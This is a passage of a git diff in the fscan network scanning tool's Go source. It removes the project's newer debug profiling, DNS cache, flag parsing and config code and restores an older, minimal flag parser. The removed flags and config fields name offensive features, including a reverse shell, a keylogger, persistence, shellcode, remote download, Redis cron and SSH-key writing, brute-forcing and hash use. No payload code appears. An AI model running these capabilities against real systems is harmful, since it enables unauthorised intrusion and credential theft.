-			fmt.Printf("[DEBUG] CPU profiling 已启动 -> %s/cpu.prof\n", profilesPath)
-		}
-	}
-
-	traceFile, err = os.Create(profilesPath + "/trace.out")
-	if err != nil {
-		fmt.Printf("[DEBUG] 创建 trace 文件失败: %v\n", err)
-	} else {
-		if err := trace.Start(traceFile); err != nil {
-			fmt.Printf("[DEBUG] 启动 trace 失败: %v\n", err)
-			traceFile.Close()
-			traceFile = nil
-		} else {
-			fmt.Printf("[DEBUG] Execution trace 已启动 -> %s/trace.out\n", profilesPath)
-		}
-	}
-
-	fmt.Printf("[DEBUG] 性能分析已启动，程序结束时自动保存到 %s/\n", profilesPath)
-}
-
-func Stop() {
-	if cpuProfile != nil {
-		pprof.StopCPUProfile()
-		cpuProfile.Close()
-		fmt.Printf("[DEBUG] CPU profile 已保存\n")
-	}
-
-	if traceFile != nil {
-		trace.Stop()
-		traceFile.Close()
-		fmt.Printf("[DEBUG] Trace 已保存\n")
-	}
-
-	memProfile, err := os.Create(profilesPath + "/mem.prof")
-	if err != nil {
-		fmt.Printf("[DEBUG] 创建内存 profile 失败: %v\n", err)
-	} else {
-		runtime.GC()
-		if err := pprof.WriteHeapProfile(memProfile); err != nil {
-			fmt.Printf("[DEBUG] 写入内存 profile 失败: %v\n", err)
-		} else {
-			fmt.Printf("[DEBUG] 内存 profile 已保存 -> %s/mem.prof\n", profilesPath)
-		}
-		memProfile.Close()
-	}
-
-	goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
-	if err != nil {
-		fmt.Printf("[DEBUG] 创建 goroutine profile 失败: %v\n", err)
-	} else {
-		if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
-			fmt.Printf("[DEBUG] 写入 goroutine profile 失败: %v\n", err)
-		} else {
-			fmt.Printf("[DEBUG] Goroutine profile 已保存 -> %s/goroutine.prof\n", profilesPath)
-		}
-		goroutineProfile.Close()
-	}
-
-	fmt.Printf("\n[DEBUG] 所有性能分析文件已保存到 %s/\n", profilesPath)
-	fmt.Printf("[DEBUG] 查看方法:\n")
-	fmt.Printf("  CPU 火焰图:      go tool pprof -http=:8081 %s/cpu.prof\n", profilesPath)
-	fmt.Printf("  内存火焰图:      go tool pprof -http=:8081 %s/mem.prof\n", profilesPath)
-	fmt.Printf("  协程分析:        go tool pprof -http=:8081 %s/goroutine.prof\n", profilesPath)
-	fmt.Printf("  执行时间线:      go tool trace %s/trace.out\n", profilesPath)
-}

common/debug/stub.go

@@ -1,9 +0,0 @@
-//go:build !debug
-// +build !debug
-
-package debug
-
-// 生产版本：pprof 完全不编译进来
-
-func Start() {}
-func Stop()  {}

common/dns_cache.go

@@ -1,28 +0,0 @@
-package common
-
-import (
-	"net"
-	"sync"
-)
-
-// DNSCache 并发安全的 DNS 解析缓存
-// 对纯 IP 输入零开销（直接返回），对域名避免重复系统调用
-var DNSCache = &dnsCache{}
-
-type dnsCache struct {
-	m sync.Map // host -> *net.IPAddr
-}
-
-// ResolveIP 解析 host 为 *net.IPAddr，结果缓存
-func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
-	if v, ok := c.m.Load(host); ok {
-		addr, _ := v.(*net.IPAddr)
-		return addr, nil
-	}
-	addr, err := net.ResolveIPAddr("ip", host)
-	if err != nil {
-		return nil, err
-	}
-	c.m.Store(host, addr)
-	return addr, nil
-}

common/flag.go

@@ -1,311 +1,42 @@
 package common
 
 import (
-	"errors"
 	"flag"
-	"fmt"
-	"os"
-	"strings"
-
-	"github.com/fatih/color"
-	"github.com/shadow1ng/fscan/common/config"
-	"github.com/shadow1ng/fscan/common/i18n"
 )
 
-// ErrShowHelp 表示用户请求显示帮助（正常退出）
+func Banner(){
-var ErrShowHelp = errors.New("show help requested")
+	banner := `
 
-// Banner 显示程序横幅信息
+   ___                              _    
-func Banner() {
+  / _ \     ___  ___ _ __ __ _  ___| | __
-	// 静默模式下完全跳过Banner显示
+ / /_\/____/ __|/ __| '__/ _`+"`"+` |/ __| |/ /
-	if flagVars.Silent {
+/ /_\\_____\__ \ (__| | | (_| | (__|   <
-		return
+\____/     |___/\___|_|  \__,_|\___|_|\_\
-	}
+`
-
+	print(banner)
-	// 定义暗绿色系
-	colors := []color.Attribute{
-		color.FgGreen,   // 基础绿
-		color.FgHiGreen, // 亮绿
-	}
-
-	lines := []string{
-		"   ___                              _    ",
-		"  / _ \\     ___  ___ _ __ __ _  ___| | __ ",
-		" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
-		"/ /_\\\\_____\\__ \\ (__| | | (_| | (__|   <    ",
-		"\\____/     |___/\\___|_|  \\__,_|\\___|_|\\_\\   ",
-	}
-
-	// 获取最长行的长度
-	maxLength := 0
-	for _, line := range lines {
-		if len(line) > maxLength {
-			maxLength = len(line)
-		}
-	}
-
-	// 创建边框
-	topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
-	bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
-
-	// 打印banner
-	fmt.Println(topBorder)
-
-	for lineNum, line := range lines {
-		fmt.Print("│ ")
-		if flagVars.NoColor {
-			// 无色彩模式下使用普通文本
-			fmt.Print(line)
-		} else {
-			// 使用对应的颜色打印每个字符
-			c := color.New(colors[lineNum%2])
-			_, _ = c.Print(line)
-		}
-		// 补齐空格
-		padding := maxLength - len(line)
-		fmt.Printf("%s │\n", strings.Repeat(" ", padding))
-	}
-
-	fmt.Println(bottomBorder)
-
-	// 打印版本信息
-	versionStr := fmt.Sprintf("      Fscan %s (%s %s)", version, commit, date)
-	if commit == "unknown" {
-		versionStr = fmt.Sprintf("      Fscan %s", version)
-	}
-	if flagVars.NoColor {
-		fmt.Printf("%s\n\n", versionStr)
-	} else {
-		c := color.New(colors[1])
-		_, _ = c.Printf("%s\n\n", versionStr)
-	}
 }
 
-// Flag 解析命令行参数并配置扫描选项
-// 返回ErrShowHelp表示用户请求帮助（正常退出），其他error表示参数错误
-func Flag(Info *HostInfo) error {
-	// 预处理语言设置 - 在定义flag之前检查lang参数
-	preProcessLanguage()
 
-	fv := flagVars // 使用全局 FlagVars 实例
 
-	// ═════════════════════════════════════════════════
-	// 目标配置参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
-	flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
-	flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
-	flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
-	flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
-	flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
-	flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
 
-	// ═════════════════════════════════════════════════
+func Flag(Info *HostInfo)  {
-	// 扫描控制参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
-	flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
-	flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
-	flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
-	flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
-	flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
-	flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
-	flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
-	flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
-
-	// ═════════════════════════════════════════════════
-	// 认证与凭据参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
-	flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
-	flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
-	flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
-	flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
-	flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
-	flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
-	flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
-	flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
-	flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
-	flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
-
-	// ═════════════════════════════════════════════════
-	// Web扫描参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
-	flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
-	flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
-	flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
-	flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
-	flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
-	flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
-	flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
-
-	// ═════════════════════════════════════════════════
-	// POC测试参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
-	flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
-	flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
-	flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
-	flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
-	flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
-
-	// ═════════════════════════════════════════════════
-	// Redis利用参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
-	flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
-	flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
-	flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
-	flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
-	flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
-
-	// ═════════════════════════════════════════════════
-	// 暴力破解控制参数
-	// ═════════════════════════════════════════════════
-	flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
-	flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
-
-	// ═════════════════════════════════════════════════
-	// 发包频率控制参数
-	// ═════════════════════════════════════════════════
-	flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
-	flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
-	flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
-
-	// ═════════════════════════════════════════════════
-	// 输出与显示控制参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
-	flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
-	flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
-	flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
-	flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
-	flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
-	flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
-	flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
-	flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON")
-
-	// ═════════════════════════════════════════════════
-	// 其他参数
-	// ═════════════════════════════════════════════════
-	flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
-	flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
-	flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
-	flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
-	flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
-	flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
-	flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
-
-	// 文件下载插件参数
-	flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
-	flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
-	flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
-
-	// 帮助参数
-	flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
-
-	// 解析命令行参数
-	if err := parseCommandLineArgs(); err != nil {
-		return err
-	}
-
-	// 设置语言
-	i18n.SetLanguage(fv.Language)
-
-	// 如果显示帮助或者没有提供目标，显示帮助信息并退出
-	if fv.ShowHelp || shouldShowHelp(Info, fv) {
-		flag.Usage()
-		return ErrShowHelp
-	}
-
-	return nil
-}
-
-// parseCommandLineArgs 解析命令行参数
-func parseCommandLineArgs() error {
-	flag.Parse()
-
-	// 显示Banner
 	Banner()
-
+	flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
-	// 检查参数冲突
+	flag.StringVar(&Info.HostFile,"hf","","host file, -hs ip.txt")
-	return checkParameterConflicts()
+	flag.StringVar(&Info.Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306")
-}
+	flag.StringVar(&Info.Command,"c","","exec command (ssh)")
-
+	flag.IntVar(&Info.Threads,"t",200,"Thread nums")
-// preProcessLanguage 预处理语言参数，在定义flag之前设置语言
+	flag.IntVar(&Info.IcmpThreads,"it",3000,"Icmp Threads nums")
-func preProcessLanguage() {
+	flag.BoolVar(&Info.Isping,"np",false,"not to ping")
-	// 遍历命令行参数查找-lang参数
+	flag.BoolVar(&Info.IsSave,"no",false,"not to save output log")
-	for i, arg := range os.Args {
+	flag.StringVar(&Info.Username,"user","","username")
-		if arg == "-lang" && i+1 < len(os.Args) {
+	flag.StringVar(&Info.Userfile,"userf","","username file")
-			lang := os.Args[i+1]
+	flag.StringVar(&Info.Password,"pwd","","password")
-			if lang == "en" || lang == "zh" {
+	flag.StringVar(&Info.Passfile,"pwdf","","password file")
-				flagVars.Language = lang
+	flag.StringVar(&Info.Outputfile,"o","result.txt","Outputfile")
-				i18n.SetLanguage(lang)
+	flag.Int64Var(&Info.Timeout,"time",3,"Set timeout")
-				return
+	flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh")
-			}
+	flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ")
-		} else if strings.HasPrefix(arg, "-lang=") {
+	flag.StringVar(&Info.RedisShell,"rs","","redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
-			lang := strings.TrimPrefix(arg, "-lang=")
+	flag.Parse()
-			if lang == "en" || lang == "zh" {
+}
-				flagVars.Language = lang
-				i18n.SetLanguage(lang)
-				return
-			}
-		}
-	}
-
-	// 检查环境变量
-	envLang := os.Getenv("FS_LANG")
-	if envLang == "en" || envLang == "zh" {
-		flagVars.Language = envLang
-		i18n.SetLanguage(envLang)
-	}
-}
-
-// shouldShowHelp 检查是否应该显示帮助信息
-func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
-	// Web模式不需要目标参数
-	if WebMode {
-		return false
-	}
-
-	// 检查是否提供了扫描目标
-	hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
-
-	// 本地模式需要指定插件才算有效目标
-	if fv.LocalPlugin != "" {
-		hasTarget = true
-	}
-
-	// 如果没有提供任何扫描目标，则显示帮助
-	return !hasTarget
-}
-
-// checkParameterConflicts 检查参数冲突和兼容性
-// 返回error而不是调用os.Exit，让调用者决定如何处理
-func checkParameterConflicts() error {
-	fv := flagVars
-
-	// -debug 等价于 -log debug
-	if fv.Debug {
-		fv.LogLevel = LogLevelDebug
-	}
-
-	// 检查 -ao 和 -m icmp 同时指定的情况（向后兼容提示）
-	if fv.AliveOnly && fv.ScanMode == "icmp" {
-		LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
-	}
-
-	// 检查本地插件参数
-	if fv.LocalPlugin != "" {
-		// 检查是否包含分隔符（确保只能指定单个插件）
-		invalidChars := []string{",", ";", " ", "|", "&"}
-		for _, char := range invalidChars {
-			if strings.Contains(fv.LocalPlugin, char) {
-				return fmt.Errorf("本地插件只能指定单个插件，不支持使用 '%s' 分隔的多个插件", char)
-			}
-		}
-	}
-
-	return nil
-}

common/flag_config.go

@@ -1,227 +0,0 @@
-package common
-
-import (
-	"time"
-
-	"github.com/shadow1ng/fscan/common/config"
-)
-
-/*
-flag_config.go - 命令行参数直接解析到Config
-
-flag直接写入配置结构。
-*/
-
-// =============================================================================
-// FlagVars - 命令行参数原始值
-// =============================================================================
-
-// FlagVars 存储命令行解析的原始值
-// 某些字段需要类型转换（如 int64 秒 → time.Duration）
-type FlagVars struct {
-	// 目标配置
-	Host             string
-	ExcludeHosts     string
-	ExcludeHostsFile string
-	Ports            string
-	ExcludePorts     string
-	AddPorts         string
-	HostsFile        string
-	PortsFile        string
-
-	// 扫描控制
-	ScanMode        string
-	ThreadNum       int
-	ModuleThreadNum int
-	TimeoutSec      int64 // 秒，需转换为 time.Duration
-	GlobalTimeout   int64
-	DisablePing     bool
-	DisableTcpProbe bool
-	LocalPlugin     string
-	AliveOnly       bool
-	DisableBrute    bool
-	MaxRetries      int
-
-	// 认证凭据
-	Username      string
-	Password      string
-	AddUsers      string
-	AddPasswords  string
-	UsersFile     string
-	PasswordsFile string
-	UserPassFile  string
-	HashFile      string
-	HashValue     string
-	Domain        string
-	SSHKeyPath    string
-
-	// Web扫描
-	TargetURL    string
-	URLsFile     string
-	Cookie       string
-	UserAgent    string
-	Accept       string
-	WebTimeout   int64 // 秒
-	MaxRedirects int
-	HTTPProxy    string
-	Socks5Proxy  string
-	Iface        string
-
-	// POC测试
-	PocPath        string
-	PocName        string
-	PocFull        bool
-	DNSLog         bool
-	PocNum         int
-	DisablePocScan bool
-
-	// Redis利用
-	RedisFile         string
-	RedisShell        string
-	RedisWritePath    string
-	RedisWriteContent string
-	RedisWriteFile    string
-	DisableRedis      bool
-
-	// 发包频率
-	PacketRateLimit int64
-	MaxPacketCount  int64
-	ICMPRate        float64
-
-	// 输出控制
-	Outputfile      string
-	OutputFormat    string
-	DisableSave     bool
-	Silent          bool
-	NoColor         bool
-	LogLevel        string
-	Debug           bool
-	DisableProgress bool
-	PerfStats       bool
-	Language        string
-
-	// 高级功能
-	Shellcode             string
-	ReverseShellTarget    string
-	Socks5ProxyPort       int
-	ForwardShellPort      int
-	PersistenceTargetFile string
-	WinPEFile             string
-	KeyloggerOutputFile   string
-	DownloadURL           string
-	DownloadSavePath      string
-
-	// 帮助
-	ShowHelp bool
-}
-
-// =============================================================================
-// 全局 FlagVars 实例（仅在解析阶段使用）
-// =============================================================================
-
-var flagVars = &FlagVars{}
-
-// GetFlagVars 获取解析后的命令行参数（供 parse.go 等使用）
-func GetFlagVars() *FlagVars {
-	return flagVars
-}
-
-// =============================================================================
-// BuildConfigFromFlags - 从 FlagVars 构建 Config
-// =============================================================================
-
-// BuildConfigFromFlags 从命令行参数构建配置对象
-func BuildConfigFromFlags(fv *FlagVars) *Config {
-	return &Config{
-		// 高频字段
-		Timeout:         time.Duration(fv.TimeoutSec) * time.Second,
-		ThreadNum:       fv.ThreadNum,
-		ModuleThreadNum: fv.ModuleThreadNum,
-		DisableBrute:    fv.DisableBrute,
-		DisablePing:     fv.DisablePing,
-		DisableTcpProbe: fv.DisableTcpProbe,
-
-		// 扫描模式
-		Mode:        fv.ScanMode,
-		LocalMode:   fv.LocalPlugin != "",
-		LocalPlugin: fv.LocalPlugin,
-		AliveOnly:   fv.AliveOnly,
-		MaxRetries:  fv.MaxRetries,
-
-		// 高级功能
-		Shellcode:             fv.Shellcode,
-		LocalPluginsList:      nil, // 后续解析
-		DNSLog:                fv.DNSLog,
-		PersistenceTargetFile: fv.PersistenceTargetFile,
-		WinPEFile:             fv.WinPEFile,
-		PortMap:               config.DefaultPortMap,
-		DefaultMap:            config.DefaultProbeMap,
-
-		// SOCKS5代理端口
-		Socks5ProxyPort: fv.Socks5ProxyPort,
-
-		// 分组配置
-		Credentials: CredentialConfig{
-			Username:      fv.Username,
-			Password:      fv.Password,
-			Domain:        fv.Domain,
-			Userdict:      config.DefaultUserDict,
-			Passwords:     config.DefaultPasswords,
-			UserPassPairs: nil, // 后续解析
-			SSHKeyPath:    fv.SSHKeyPath,
-		},
-		Network: NetworkConfig{
-			HTTPProxy:       fv.HTTPProxy,
-			Socks5Proxy:     fv.Socks5Proxy,
-			Iface:           fv.Iface,
-			WebTimeout:      time.Duration(fv.WebTimeout) * time.Second,
-			MaxRedirects:    fv.MaxRedirects,
-			PacketRateLimit: fv.PacketRateLimit,
-			MaxPacketCount:  fv.MaxPacketCount,
-			ICMPRate:        fv.ICMPRate,
-		},
-		Output: OutputConfig{
-			File:            fv.Outputfile,
-			Format:          fv.OutputFormat,
-			DisableSave:     fv.DisableSave,
-			NoColor:         fv.NoColor,
-			Silent:          fv.Silent,
-			DisableProgress: fv.DisableProgress,
-			ShowProgress:    !fv.DisableProgress,
-			LogLevel:        fv.LogLevel,
-			Language:        fv.Language,
-			PerfStats:       fv.PerfStats,
-		},
-		POC: POCConfig{
-			PocPath:  fv.PocPath,
-			PocName:  fv.PocName,
-			Full:     fv.PocFull,
-			Num:      fv.PocNum,
-			Disabled: fv.DisablePocScan,
-		},
-		Redis: RedisConfig{
-			Disabled:     fv.DisableRedis,
-			File:         fv.RedisFile,
-			Shell:        fv.RedisShell,
-			WritePath:    fv.RedisWritePath,
-			WriteContent: fv.RedisWriteContent,
-			WriteFile:    fv.RedisWriteFile,
-		},
-		HTTP: HTTPConfig{
-			Cookie:    fv.Cookie,
-			UserAgent: fv.UserAgent,
-			Accept:    fv.Accept,
-		},
-		LocalExploit: LocalExploitConfig{
-			ReverseShellTarget:  fv.ReverseShellTarget,
-			ForwardShellPort:    fv.ForwardShellPort,
-			KeyloggerOutputFile: fv.KeyloggerOutputFile,
-			DownloadURL:         fv.DownloadURL,
-			DownloadSavePath:    fv.DownloadSavePath,
-		},
-		Target: TargetConfig{
-			Ports:        fv.Ports,
-			ExcludePorts: fv.ExcludePorts,
-		},
-	}
-}

common/flag_web.go

@@ -1,16 +0,0 @@
-//go:build web
-
-package common
-
-import "flag"
-
-// WebMode 表示是否启动Web管理界面
-var WebMode bool
-
-// WebPort Web服务器端口
-var WebPort int
-
-func init() {
-	flag.BoolVar(&WebMode, "web", false, "启动Web管理界面 (Start Web UI)")
-	flag.IntVar(&WebPort, "webport", 10240, "Web服务器端口 (Web server port)")
-}

common/flag_web_stub.go

@@ -1,9 +0,0 @@
-//go:build !web
-
-package common
-
-// WebMode 非Web版本永远为false
-var WebMode = false
-
-// WebPort 非Web版本不使用
-var WebPort = 0

common/globals.go

@@ -1,223 +0,0 @@
-package common
-
-import (
-	"errors"
-	"fmt"
-	"strings"
-	"sync"
-)
-
-/*
-globals.go - 全局配置变量
-
-运行时数据和必要的全局状态。
-命令行参数现通过 GetFlagVars() 访问，配置通过 GetGlobalConfig() 访问。
-*/
-
-// =============================================================================
-// 核心数据结构
-// =============================================================================
-
-// HostInfo 主机信息结构 - 最核心的数据结构
-type HostInfo struct {
-	Host string   // 主机地址
-	Port int      // 端口号（单个端口）
-	URL  string   // URL地址
-	Info []string // 附加信息
-}
-
-// Target 返回 host:port 格式字符串
-func (h *HostInfo) Target() string {
-	return fmt.Sprintf("%s:%d", h.Host, h.Port)
-}
-
-// =============================================================================
-// 默认配置常量
-// =============================================================================
-
-const (
-	// DefaultThreadNum 默认线程数
-	DefaultThreadNum = 600
-	// DefaultTimeout 默认超时时间(秒)
-	DefaultTimeout = 3
-	// DefaultScanMode 默认扫描模式
-	DefaultScanMode = "all"
-	// DefaultLanguage 默认语言
-	DefaultLanguage = "zh"
-	// DefaultLogLevel 默认日志级别
-	DefaultLogLevel = "base"
-)
-
-// 日志级别常量
-const (
-	LogLevelAll             = "all"
-	LogLevelError           = "error"
-	LogLevelBase            = "base"
-	LogLevelInfo            = "info"
-	LogLevelSuccess         = "success"
-	LogLevelDebug           = "debug"
-	LogLevelInfoSuccess     = "info,success"
-	LogLevelBaseInfoSuccess = "base,info,success"
-)
-
-// 版本信息，通过 ldflags 注入
-var (
-	version = "2.1.3"
-	commit  = "unknown"
-	date    = "unknown"
-)
-
-// 运行时数据已迁移到Config对象中，使用GetGlobalConfig()访问
-
-// Shell状态已迁移到State对象中，使用GetGlobalState()访问
-
-// POC配置、输出控制、发包控制、初始化已迁移到Config/State对象中
-
-// =============================================================================
-// 发包限制错误类型
-// =============================================================================
-
-// 哨兵错误 - 用于 errors.Is 判断
-var (
-	ErrMaxPacketReached  = errors.New("max packet count reached")
-	ErrPacketRateLimited = errors.New("packet rate limited")
-)
-
-// PacketLimitError 发包限制错误（包含详情）
-type PacketLimitError struct {
-	Sentinel error // ErrMaxPacketReached 或 ErrPacketRateLimited
-	Limit    int64
-	Current  int64
-}
-
-func (e *PacketLimitError) Error() string {
-	if e.Sentinel == ErrMaxPacketReached {
-		return fmt.Sprintf("已达到最大发包数量限制: %d", e.Limit)
-	}
-	return fmt.Sprintf("发包速率受限: %d包/分钟", e.Limit)
-}
-
-func (e *PacketLimitError) Unwrap() error {
-	return e.Sentinel
-}
-
-// =============================================================================
-// 发包频率控制功能
-// =============================================================================
-
-// CanSendPacketWith 检查是否可以发包 - 同时检查频率限制和总数限制
-// 返回值: (可以发包, 错误)
-func CanSendPacketWith(config *Config, state *State) (bool, error) {
-	// 检查总数限制
-	maxPacketCount := config.Network.MaxPacketCount
-	if maxPacketCount > 0 {
-		currentTotal := state.GetPacketCount()
-		if currentTotal >= maxPacketCount {
-			return false, &PacketLimitError{
-				Sentinel: ErrMaxPacketReached,
-				Limit:    maxPacketCount,
-				Current:  currentTotal,
-			}
-		}
-	}
-
-	// 检查频率限制
-	return state.CheckAndIncrementPacketRate(config.Network.PacketRateLimit)
-}
-
-// CanSendPacket 便捷API - 使用全局配置和状态
-// 内部调用 CanSendPacketWith，保持向后兼容（返回string）
-func CanSendPacket() (bool, string) {
-	ok, err := CanSendPacketWith(GetGlobalConfig(), GetGlobalState())
-	if err != nil {
-		return ok, err.Error()
-	}
-	return ok, ""
-}
-
-// =============================================================================
-// 全局 Config 和 State 实例（新架构）
-// =============================================================================
-
-var (
-	// globalConfig 全局配置实例（小写，不直接暴露）
-	globalConfig *Config
-
-	// globalState 全局状态实例（小写，不直接暴露）
-	globalState *State
-
-	// globalMu 保护全局变量的读写锁
-	globalMu sync.RWMutex
-)
-
-// GetGlobalConfig 获取全局配置实例（线程安全）
-// 使用读写锁保护，避免竞态条件
-func GetGlobalConfig() *Config {
-	globalMu.RLock()
-	cfg := globalConfig
-	globalMu.RUnlock()
-
-	if cfg != nil {
-		return cfg
-	}
-
-	// 需要初始化，获取写锁
-	globalMu.Lock()
-	defer globalMu.Unlock()
-
-	// 双重检查，避免重复初始化
-	if globalConfig == nil {
-		globalConfig = NewConfig()
-	}
-	return globalConfig
-}
-
-// SetGlobalConfig 设置全局配置实例（线程安全）
-func SetGlobalConfig(cfg *Config) {
-	globalMu.Lock()
-	globalConfig = cfg
-	globalMu.Unlock()
-}
-
-// GetGlobalState 获取全局状态实例（线程安全）
-// 使用读写锁保护，避免竞态条件
-func GetGlobalState() *State {
-	globalMu.RLock()
-	st := globalState
-	globalMu.RUnlock()
-
-	if st != nil {
-		return st
-	}
-
-	// 需要初始化，获取写锁
-	globalMu.Lock()
-	defer globalMu.Unlock()
-
-	// 双重检查，避免重复初始化
-	if globalState == nil {
-		globalState = NewState()
-	}
-	return globalState
-}
-
-// SetGlobalState 设置全局状态实例（线程安全）
-func SetGlobalState(state *State) {
-	globalMu.Lock()
-	globalState = state
-	globalMu.Unlock()
-}
-
-// =============================================================================
-// 字符串工具函数
-// =============================================================================
-
-// ContainsAny 检查字符串是否包含任意一个子串
-func ContainsAny(s string, substrs ...string) bool {
-	for _, substr := range substrs {
-		if strings.Contains(s, substr) {
-			return true
-		}
-	}
-	return false
-}

common/i18n/embed.go

@@ -1,6 +0,0 @@
-package i18n
-
-import "embed"
-
